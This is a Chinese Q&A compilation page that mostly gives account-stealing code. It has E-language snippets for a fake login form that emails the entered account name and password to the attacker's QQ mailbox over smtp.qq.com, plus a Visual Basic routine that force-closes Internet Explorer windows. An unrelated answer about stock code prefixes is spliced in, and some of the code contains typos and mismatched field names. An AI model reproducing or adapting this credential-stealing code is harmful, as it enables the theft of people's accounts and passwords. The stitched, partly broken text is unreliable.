本文目录一览：
易语言盗号代码如何写成发信到QQ邮箱
连接发信服务器 (“smtp.qq.com”, 25, “你的QQ”, “你的密码”, )
发送邮件 (“随便”, 你要发送的消息（如编辑框1.内容） ＋ #换行符 ＋ 你要发送的消息（如编辑框2.内容） ＋ #换行符 , “你的邮箱”, , , “你的邮箱”, )
股票代码以2，和8，开头的代表什么意思
目前主板，中小板，创业板和新三板市场中，股票代码是6位数，没有以2开头的股票代码。以002开头的股票代码是中小板，一般用四位数来表示股票代码的时候，可能会出现以2开头。
以8开头的股票是新三板挂牌的股票。
VB盗号代码
Option Explicit
Declare Function PostMessage Lib "user32" Alias "postmessagea" (ByVal hwnd As Long, ByVal wmsg As Long, ByVal wparam As Long, ByVal lparam As Long) As Long
Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Const wm_close = H10
Public Function killie(ByVal hwnd As Long, ByVal lparam As Long) As Boolean
Dim ClassName As String
Dim str5 As String
Dim len5 As Long, i As Long
str5 = String(255, 0)
len5 = 256
GetClassName hwnd, str5, 256
ClassName = Left(str5, insrt(1, str5, Chr(0)) - 1)
Debug.Print ClassName
If ClassName = "ieframe" Then
PostMessage hwnd, wm_close, 0, 0
End If
killie = True
End Function
一个自定义函数 获取指定句柄de类名 如果是ieframe则向该窗口发送关闭消息
易语言盗号源码
.版本 2
.支持库 internet
.程序集 窗口程序集1
.程序集变量 临时记录, 文本型
.子程序 _按钮2_被单击
.如果真 (编辑框1.内容 ＝ “”)
信息框 (“请输入您的帐号！”, #错误图标, “系统提示：”)
返回 ()
.如果真结束
.如果真 (编辑框3.内容 ＝ “”)
信息框 (“请输入您的密码！”, #错误图标, “系统提示：”)
返回 ()
.如果真结束
.如果真 (临时记录 ≠ 编辑框1.内容) ' 判断编辑框1 的内容是否改变
连接发信服务器 (“smtp.qq.com”, 25, “这里输入你自己的帐号”, “这里输入你自己的密码”, )
发送邮件 (“帐号来了”, “帐号：” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码：” ＋ 编辑框2.内容 ＋ #换行符, “这里输入你的邮箱地址：”, , , “这里输入你的邮箱地址 例如：913710921@qq.com”, )
临时记录 ＝ 编辑框1.内容 ' 记录编辑框1 的内容